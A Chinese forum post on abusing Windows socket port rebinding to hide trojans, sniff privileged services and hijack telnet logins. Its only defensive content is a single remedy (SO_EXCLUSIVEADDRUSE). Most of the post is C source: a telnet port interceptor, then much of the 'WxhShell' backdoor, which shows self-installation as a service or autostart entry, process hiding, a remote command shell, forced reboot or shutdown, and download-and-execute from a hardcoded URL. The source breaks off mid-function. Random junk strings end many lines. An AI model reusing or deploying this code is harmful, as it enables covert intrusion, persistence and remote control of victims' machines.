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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Xf|I=XK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]n4G]ybK%  
p<(b^{EX  
  saddr.sin_family = AF_INET; c38ENf  
@aWd0e]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mv`ND&  
]M&KUgz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `+T"^{ Z  
N MH'4R  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _Qf310oONS  
Uj)`(}r  
  这意味着什么?意味着可以进行如下的攻击: ? wZ`U Oi  
TDW\n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 eh6=-  
6Iv &c2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 89%#;C  
Nb/Z+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /baSAoh/e  
Ibu  5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "l-R|>6~  
j:'8yFi_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IFW"S fdZk  
zXv2plw(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bG!/%,s  
O g!SFg*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 o#=O5@>ai  
?%i~~hfH#N  
  #include _ v3VUm#  
  #include ;^|:*  
  #include PI$K+}E  
  #include    g3vR\?c`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |aS272'  
  int main() *w23(f  
  { 18G=j@k7  
  WORD wVersionRequested; 9 kLA57  
  DWORD ret; <,Pk  
  WSADATA wsaData; k[5:]5lp+  
  BOOL val; J*+[?FXRL  
  SOCKADDR_IN saddr; FZ=xy[q]~  
  SOCKADDR_IN scaddr; 2 UPG8]  
  int err; -5#cfi4^*  
  SOCKET s; b_a6|  
  SOCKET sc; L_R(K89w  
  int caddsize; K4Hu0  
  HANDLE mt; $9?<mP2-*  
  DWORD tid;   ~Nn}FNe  
  wVersionRequested = MAKEWORD( 2, 2 ); g0:{{w  
  err = WSAStartup( wVersionRequested, &wsaData ); #,Cz+ k*4  
  if ( err != 0 ) { 5b;~&N4~  
  printf("error!WSAStartup failed!\n"); &r1]A&  
  return -1; QeG3X+  
  } 1SSS0&  
  saddr.sin_family = AF_INET; r&Qq,koE  
   A/88WC$v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !:M+7kmr7t  
;2l|0:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 40HhMTZ0-  
  saddr.sin_port = htons(23); 63Z^ k(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /^=8?wK  
  { I9*BT T]  
  printf("error!socket failed!\n"); 8\Hz FB  
  return -1; W(Rp@=!C  
  } [Z;ei1l  
  val = TRUE; )8;At'q}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 '+7"dHLC;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) LpN3cy>U  
  { 2BV]@]qB  
  printf("error!setsockopt failed!\n"); jGe%'A N\  
  return -1; O2"5\@HfE  
  } in`|.#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &1ZUMc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "<&) G{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H`1q8}m  
/h9v'Y}c  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C%H?vrR  
  { -quJX;~  
  ret=GetLastError(); 8^sh@j2L  
  printf("error!bind failed!\n"); GI6]Ecc  
  return -1; Sg*+!  
  } ehTv@2b  
  listen(s,2); {@hJPK8  
  while(1) m"!Q5[  
  { h.q9p!  
  caddsize = sizeof(scaddr); Yz#E0aTTA  
  //接受连接请求 ik1asj1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z"$iB-]  
  if(sc!=INVALID_SOCKET) wV-9T*QrM  
  { tXcZl!3x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); AkCy C1  
  if(mt==NULL) AG><5 }  
  { 3n~O&{  
  printf("Thread Creat Failed!\n"); (__$YQ-  
  break; !*S,S{T8  
  } o2[$X ONTl  
  } yhrjML2K  
  CloseHandle(mt); &OA6Zw/A  
  } b[<L l%K  
  closesocket(s); F)4I70vG  
  WSACleanup(); gegM&Xo  
  return 0; 'x5p ?m  
  }   ) ]DqK<-  
  DWORD WINAPI ClientThread(LPVOID lpParam) >~_z#2PA  
  { (4?^X  
  SOCKET ss = (SOCKET)lpParam; uIBN !\j  
  SOCKET sc; !{fu(E  
  unsigned char buf[4096]; %J Jp/I  
  SOCKADDR_IN saddr; +*,!q7Gt  
  long num; Kj)sL0  
  DWORD val; ix$ ^1(  
  DWORD ret; '#SZ|Rr6tX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6TTu[*0NT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $@O?  
  saddr.sin_family = AF_INET; eK5~YM:o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ug.|ag'R  
  saddr.sin_port = htons(23); | P`b"x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }Xfg~ %6  
  { ~f"3Wa*\B  
  printf("error!socket failed!\n"); kR3wbA  
  return -1; %a|Qw(4\  
  } oUO3,2bn  
  val = 100; J% n#uUs  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l fF RqZ  
  { @,7r<6E  
  ret = GetLastError();  P_'{|M<?  
  return -1; -v-kFzu  
  } ![$`Ivro`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [+QyKyhTO  
  { `wZ  
  ret = GetLastError(); y5F"JjQAa  
  return -1; Hpa6; eT  
  } w,up`W7,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) K\xnQeS<W  
  { QT zN  
  printf("error!socket connect failed!\n"); m.!LL]]  
  closesocket(sc); <VSB!:ew  
  closesocket(ss); TGU7o:2  
  return -1; J9OL>!J  
  } j Neb*dPoK  
  while(1) ?3a=u<  
  { V)`A,7X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P{ 9wJ<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,|A6l?iV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?@Q0;LG  
  num = recv(ss,buf,4096,0); <T;V9(66  
  if(num>0) *C0a,G4  
  send(sc,buf,num,0); 8EMBqhl  
  else if(num==0) lJN#_V0qW  
  break; dNY'uv&Y  
  num = recv(sc,buf,4096,0); Thu_`QP^  
  if(num>0) ~cyKPg6  
  send(ss,buf,num,0); B8?9L8M}  
  else if(num==0) po\jhfn  
  break; 1L+hI=\O  
  } }h1LH4  
  closesocket(ss); 4w'&:k47   
  closesocket(sc); pC0gw2n8 M  
  return 0 ; ^*4#ZvpG2  
  } 6" Lyv  
Q)BSngW+  
bcjh3WP  
========================================================== YFPse.2$a  
pdER#7Tq  
下边附上一个代码,,WXhSHELL Fx}v.A5  
i7PS=]TK\  
========================================================== 'jMs&  
(9ZW^flY  
#include "stdafx.h" G_5{5Ar  
Y0kcxpK/  
#include <stdio.h> }!k?.(hpE  
#include <string.h> 9H;Os:"\|  
#include <windows.h> }yn%_KQ0  
#include <winsock2.h> gK;dfrU.8Y  
#include <winsvc.h> qoH:_o8ClO  
#include <urlmon.h> {5D%<Te  
aMGh$\Pg  
#pragma comment (lib, "Ws2_32.lib") fa,:d8  
#pragma comment (lib, "urlmon.lib") ,jeHL@>w[  
74:( -vS  
#define MAX_USER   100 // 最大客户端连接数 Te~jYkCd  
#define BUF_SOCK   200 // sock buffer |f$ws R`&  
#define KEY_BUFF   255 // 输入 buffer f*rub. y  
2;*G!rE&*`  
#define REBOOT     0   // 重启 0tL5t7/Gr  
#define SHUTDOWN   1   // 关机 1%vE7a>{  
Sz<:WY/(x  
#define DEF_PORT   5000 // 监听端口 Lg(G&ljE@k  
_<jU! R  
#define REG_LEN     16   // 注册表键长度 j^8HTa0Cy|  
#define SVC_LEN     80   // NT服务名长度 H)E,([   
g.Qn,l]X/p  
// 从dll定义API 6Iv};f"Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a@&qdp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TCzlu#w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :Zkjtr.\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UJDI[`2  
x 9\{a  
// wxhshell配置信息 Z:,\FB_U  
struct WSCFG { \Gk}Fer  
  int ws_port;         // 监听端口 U&:-Vf~&  
  char ws_passstr[REG_LEN]; // 口令 c(vi,U-hC  
  int ws_autoins;       // 安装标记, 1=yes 0=no >T*BEikC  
  char ws_regname[REG_LEN]; // 注册表键名 ROfV Y:,M  
  char ws_svcname[REG_LEN]; // 服务名 .#Z'CZO|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fKFD>u 0%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 17c`c.yP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ujE~#b}X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sx;/xIU|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UtJfO`m9P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k~:(.)Nr  
~N; dX[@BT  
}; Fw(  
eYoc(bG(+  
// default Wxhshell configuration 0vDvp`ie#4  
struct WSCFG wscfg={DEF_PORT, roAHkI  
    "xuhuanlingzhe", 2B6u) 95  
    1, *^7^g!=z2  
    "Wxhshell", |}e"6e%  
    "Wxhshell", uEr.LCAS  
            "WxhShell Service", R\n@q_!`X  
    "Wrsky Windows CmdShell Service", <_pLmYI  
    "Please Input Your Password: ", `|"o\Bg<  
  1, jqj}j2 9  
  "http://www.wrsky.com/wxhshell.exe", !,Gavt7f  
  "Wxhshell.exe" `FNU- I4s  
    }; k5tyOk  
[]N&,2O  
// 消息定义模块 G@~e :v)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FMn|cO.vEP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d^$cx(2$D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GmJ \3]{PZ  
char *msg_ws_ext="\n\rExit."; zK1\InP  
char *msg_ws_end="\n\rQuit."; {~}:oV  
char *msg_ws_boot="\n\rReboot..."; pp*MHM)x|q  
char *msg_ws_poff="\n\rShutdown..."; ? N]bFW"t|  
char *msg_ws_down="\n\rSave to "; u 1}dHMoX~  
ZJGIib  
char *msg_ws_err="\n\rErr!"; cdH`#X  
char *msg_ws_ok="\n\rOK!"; v6aMYmenBH  
`LIlR8&@aX  
char ExeFile[MAX_PATH]; WTt /y\'6  
int nUser = 0; K^GvU0\  
HANDLE handles[MAX_USER]; `Has3AX8  
int OsIsNt; 1 rbc}e  
HlkjyD8  
SERVICE_STATUS       serviceStatus; &.z-itiV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *"F*6+}w"  
h<?I?ZR0$  
// 函数声明 cMy?&  
int Install(void); F{7 BY~d  
int Uninstall(void); L7(.dO0C  
int DownloadFile(char *sURL, SOCKET wsh); d@cyQFX  
int Boot(int flag); 3)&rj 7  
void HideProc(void); i ^N}avO  
int GetOsVer(void); Cx(HsJ! ,  
int Wxhshell(SOCKET wsl); JPT&!%~  
void TalkWithClient(void *cs); U'5p;j)_  
int CmdShell(SOCKET sock); lu.xv6+  
int StartFromService(void); w8>bct3@  
int StartWxhshell(LPSTR lpCmdLine); U;.cXU{  
I|>IV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ci(BPnQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -ECnX/ "  
98<^!mwF  
// 数据结构和表定义 c[OQo~m$  
SERVICE_TABLE_ENTRY DispatchTable[] = @.`HvS  
{ hdM?Uoo(4a  
{wscfg.ws_svcname, NTServiceMain}, *x 2u  
{NULL, NULL} 3+U2oI:I  
}; X88I|Z'HIh  
5/m*Lc+r  
// 自我安装 Ai)Q(]  
int Install(void) /dX,]OFm  
{ N;m62N  
  char svExeFile[MAX_PATH]; m]=G73jzO  
  HKEY key; s\3ZE11L  
  strcpy(svExeFile,ExeFile); "6?Y$y/wm  
K~5(j{Kb8  
// 如果是win9x系统,修改注册表设为自启动 F>@z&a}(  
if(!OsIsNt) { d +eb![fi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4HXNu,T'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W"xRf0\V  
  RegCloseKey(key); q>#P|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D{[i_K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pc~)4>X<  
  RegCloseKey(key); ;]/cCi  
  return 0; JvW!w)$pY  
    } ,Qe`(vU*s  
  }  :KRe==/  
} 63i&e/pv  
else { 9B3}LVg\  
DshRH>7s8  
// 如果是NT以上系统,安装为系统服务 E@="n<uS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FEA/}*2F  
if (schSCManager!=0) <@@@Pl!~  
{ +w@/$datI  
  SC_HANDLE schService = CreateService .M\0+,%/  
  ( *O Kve  
  schSCManager, = &U7:u  
  wscfg.ws_svcname, N9f;X{  
  wscfg.ws_svcdisp, Ahg6>7+R.  
  SERVICE_ALL_ACCESS, kRzqgVr%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P'Jb')m  
  SERVICE_AUTO_START, G&0JK ,Y  
  SERVICE_ERROR_NORMAL, < *{(>  
  svExeFile, -f(< 2i  
  NULL, gBd~:ZUa  
  NULL, _NbhWv  
  NULL, dFpP_U  
  NULL, L w/ZKXDU2  
  NULL FC8= ru  
  ); N sSl|m  
  if (schService!=0) sWLH"'Z  
  { WOGMt T%  
  CloseServiceHandle(schService); n 8e}8.Bu  
  CloseServiceHandle(schSCManager); 3Q+THg3~?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qSL~A-  
  strcat(svExeFile,wscfg.ws_svcname); KH1/B_.\V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X@B,w_b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @j4~`~8  
  RegCloseKey(key); !r0 z3^*N  
  return 0; /lvH p  
    } U C9w T  
  } HR k^KB  
  CloseServiceHandle(schSCManager); \V<deMb=  
} *:,7 A9LY  
} :cTwp K  
Dr"F5Wbg  
return 1; gB#$"mq,  
} y `w5u.'  
;0++):30V  
// 自我卸载 ;,LlOR  
int Uninstall(void) `\S~;O  
{ uwb>q"M  
  HKEY key; ?Wp{tB9N0  
noNL.%I  
if(!OsIsNt) { ~7=w,+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wv)2dD2I  
  RegDeleteValue(key,wscfg.ws_regname); We#O' m  
  RegCloseKey(key); KY;E.D`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W?auY_+P  
  RegDeleteValue(key,wscfg.ws_regname); -zL xT  
  RegCloseKey(key); (z<& PP  
  return 0; #bLeK$  
  } )kNyl@m  
} uH!;4@ uI  
} "7a;Ap q*  
else { rB%acTCz=[  
Q1@V?`rkS{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #9Dixsl*Q  
if (schSCManager!=0) }u..m$h  
{ =u`^QE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K29KS)~;W  
  if (schService!=0) X'>]z'0W  
  { 7:T 5P  
  if(DeleteService(schService)!=0) { BI6o@d;=4  
  CloseServiceHandle(schService); ?en%m|}0  
  CloseServiceHandle(schSCManager); <:BhV82l  
  return 0; +#y[sKa  
  } E>?T<!r~j  
  CloseServiceHandle(schService); Tp/+{|~  
  } )zVD!eG_9  
  CloseServiceHandle(schSCManager); 5 gbJTh<JU  
} n.Q?@\}2  
} Y 1vSwS%{T  
l*yJU3PW  
return 1; L$FLQyDR  
} r0\cgCn  
~3z10IG  
// 从指定url下载文件 v ~%6!Tr  
int DownloadFile(char *sURL, SOCKET wsh) sL tsvH#  
{ SNd]c  
  HRESULT hr; /z+}xRS  
char seps[]= "/"; t=ry\h{Pc  
char *token; < F Cr L  
char *file; O<h`[1eUjS  
char myURL[MAX_PATH]; ;dYpdy  
char myFILE[MAX_PATH];  p68) 0  
n2H2G_-L[  
strcpy(myURL,sURL); %8+'L4  
  token=strtok(myURL,seps); +x0-hRD  
  while(token!=NULL) ]E)gMf   
  { 8ESBui3;  
    file=token; pOip$Z  
  token=strtok(NULL,seps); [0} ^w[  
  } `7|v  
N|h}'p  
GetCurrentDirectory(MAX_PATH,myFILE); =`rESb[  
strcat(myFILE, "\\"); d&0^AvM@  
strcat(myFILE, file); ^@`dsll  
  send(wsh,myFILE,strlen(myFILE),0); HtIM8z#/  
send(wsh,"...",3,0); |L7 `7!Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (byFr9z  
  if(hr==S_OK) '5eW"HGU]`  
return 0; G?d28p',.  
else z6R<*$4  
return 1; |S:St HZm  
h^bbU.  
} Ydu=J g5u7  
Qp${/  
// 系统电源模块 sEL[d2oO  
int Boot(int flag) W$P)fPU'  
{ e p;_'  
  HANDLE hToken; C;;dCsiV5  
  TOKEN_PRIVILEGES tkp; pFD L5  
-$4PY,  
  if(OsIsNt) { F,`y_71<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -q\1Tlc]3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BaTE59W  
    tkp.PrivilegeCount = 1; NQ%lwE~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qMz0R\4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Wel-a< e  
if(flag==REBOOT) { @QMMtfeLj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,?7U Rx*  
  return 0; a3037~X  
} Xi1/wbC  
else { WrL&$dEJ?M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U)+Yh  
  return 0; }} l04kN_  
} -pc*$oe  
  } BxO8oKe  
  else { ;Zc(qA  
if(flag==REBOOT) { $q{-)=-BXQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rRL:]%POT  
  return 0; qI"@ PI!s  
} Jpws1~  
else { h{kAsd8 G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Je+z\eT!5<  
  return 0; !5Kv9P79  
} m Fwx},dl  
} qv=i eU  
"wTA9\  
return 1; ]Z@- r  
} ' Ky5|4  
PSNrY e  
// win9x进程隐藏模块  &jf:7y  
void HideProc(void) ~k4S~!(U0  
{ ,)nO   
PygaW&9Z|d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Lu6!W  
  if ( hKernel != NULL ) 5R/!e`(m  
  { z'MOuz~Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u:3~Ius  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zVYX#- nv  
    FreeLibrary(hKernel); sC48o'8(  
  } AY{caM  
?x"<0k1g  
return; Id(L}i(X  
} {d(@o!;Fi  
frk(2C8T  
// 获取操作系统版本 Uo<d]4p $  
int GetOsVer(void) +glT5sOk  
{ [&y{z-D>  
  OSVERSIONINFO winfo; o4,W!^ n2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kf>oZ*/  
  GetVersionEx(&winfo); a8FC#kfq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xf?*fm?m  
  return 1; Y'`w.+9  
  else CYmwT>P+*4  
  return 0; {xp/1? Mo*  
} vZmM=hW~  
U|={LU  
// 客户端句柄模块 #)2'I`_E  
int Wxhshell(SOCKET wsl) 3VbMW,_&"  
{ gN Xg  
  SOCKET wsh; b'4{l[3~nl  
  struct sockaddr_in client; {Tl5,CAz  
  DWORD myID; ?k]^?7GN  
B)O{+avu  
  while(nUser<MAX_USER) (hS j4Cp  
{ Tf) qd\  
  int nSize=sizeof(client); K 38e,O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )'KkO$^&  
  if(wsh==INVALID_SOCKET) return 1; \m~ ?mg"#  
61HU_!A8S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kqYWa`eE  
if(handles[nUser]==0) BYFvf(>  
  closesocket(wsh); >uN{cohs  
else [nB[]j<R*  
  nUser++; ^+^#KC8]W  
  } anjU3j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x4Mq{MrWp  
p?2 \9C4  
  return 0; U6e 0{n  
} }eetx68\  
BMkN68q  
// 关闭 socket @r^a/]5D  
void CloseIt(SOCKET wsh) 9aFu51  
{ +] >o@  
closesocket(wsh); Tz[ck 'k  
nUser--; [QEV6 S]  
ExitThread(0); \wEHYz  
} c"Ddw'?e  
$n\{6Rwb  
// 客户端请求句柄 kHygif !I4  
void TalkWithClient(void *cs) FCnOvF65  
{ $8vZiB!"  
ZgK[,<2  
  SOCKET wsh=(SOCKET)cs; xr}3vJ7  
  char pwd[SVC_LEN]; ?zGx]?1P1<  
  char cmd[KEY_BUFF]; dE~]%fUFy-  
char chr[1]; mZQW>A]iE  
int i,j; awkPFA*c'  
@&#k['c  
  while (nUser < MAX_USER) { e` 9d&"  
ce@1#}*  
if(wscfg.ws_passstr) { o{7wPwQ;*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \H^DiF%f9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r==d^  
  //ZeroMemory(pwd,KEY_BUFF); IcRA[ g  
      i=0; 2CcUClP$  
  while(i<SVC_LEN) { gb+iy$o-  
ICA p  
  // 设置超时 U:"X *  
  fd_set FdRead; D])&>  
  struct timeval TimeOut; uF,F<%d  
  FD_ZERO(&FdRead); "159Q  
  FD_SET(wsh,&FdRead); wV8_O)[  
  TimeOut.tv_sec=8; 3m%oXT  
  TimeOut.tv_usec=0; C+o1.#]JM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (7Su{tq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P/i{_r  
hOZ:r =%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O*0%AjT6  
  pwd=chr[0]; c\A 4-08  
  if(chr[0]==0xd || chr[0]==0xa) { )` ~"o*M  
  pwd=0; czNi)4x  
  break;  ac  
  } >T84NFdz+  
  i++; Buc{dcL/  
    } NULew]:5  
|i_+b@Lul  
  // 如果是非法用户,关闭 socket _y:-_q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )Y4;@pEU  
} W]Bc7JM]T+  
#gW"k;7P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8/W(jVO(-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pmda9V4  
DO*rVs3'p[  
while(1) { M3q%(!2  
kU :ge  
  ZeroMemory(cmd,KEY_BUFF); tofX.oi+C$  
4eVQO%&2  
      // 自动支持客户端 telnet标准   [B~*88T  
  j=0; g0({$2Q7R  
  while(j<KEY_BUFF) { ;wGoEN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6%yt"XmT  
  cmd[j]=chr[0]; E8X(AZ 2  
  if(chr[0]==0xa || chr[0]==0xd) { D6+^Qmu"p  
  cmd[j]=0; 3CL1Z\8To  
  break; _[)f<`!g_V  
  } Hk&op P9)  
  j++; ^wass_8  
    } qwhDv+o  
>EE}P|=-  
  // 下载文件 M./1.k&@  
  if(strstr(cmd,"http://")) { qa-%j+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \ -n&z;`  
  if(DownloadFile(cmd,wsh)) z }3` 9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t@X{qm:%Z  
  else Cb4.N 8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;Mw<{X-  
  } )6 U6~!k  
  else { q@i>)nC R  
zv .#9^/y  
    switch(cmd[0]) { DpCe_Vb%M  
  F\u]X  
  // 帮助 &/m0N\n?  
  case '?': { t,NE`LC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tJe5`L  
    break; -HwqR Y s  
  } y^0 mf|  
  // 安装 gQQve{'  
  case 'i': { 8|JPQDS7  
    if(Install()) 8I8{xt4   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); inHlL  
    else a``/x_EZMn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5J-slNNCQ  
    break; |@W|nbAfX  
    } SA{noM  
  // 卸载 :|\[a0ZL  
  case 'r': { Cl6P,C  
    if(Uninstall()) `y3*\l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <) cJz  
    else &?@gCVNO,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [L>mrHqG  
    break; r\A|fiL  
    } ppuJC ' GW  
  // 显示 wxhshell 所在路径 *j~ObE_y  
  case 'p': { B#]:1:Qn  
    char svExeFile[MAX_PATH]; 7Y?59 [  
    strcpy(svExeFile,"\n\r"); :W.pD:/=v  
      strcat(svExeFile,ExeFile); RH9P$;.7  
        send(wsh,svExeFile,strlen(svExeFile),0); \E {'|  
    break; $~e55X'!+  
    } ? KDg|d  
  // 重启 uS<og P  
  case 'b': { qWU59:d^{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y@h v#;  
    if(Boot(REBOOT)) '2qbIYanh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [_`<<!u>-  
    else { AvVPPEryal  
    closesocket(wsh); v65]$%F?  
    ExitThread(0); lFp:F5  
    } XL/V>`E@  
    break; nP&6i5s%  
    } xsIfR3Ze9  
  // 关机 J``5;%TJp  
  case 'd': { eN'b" _D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6W< Ig;  
    if(Boot(SHUTDOWN)) a8YFH$Xh  
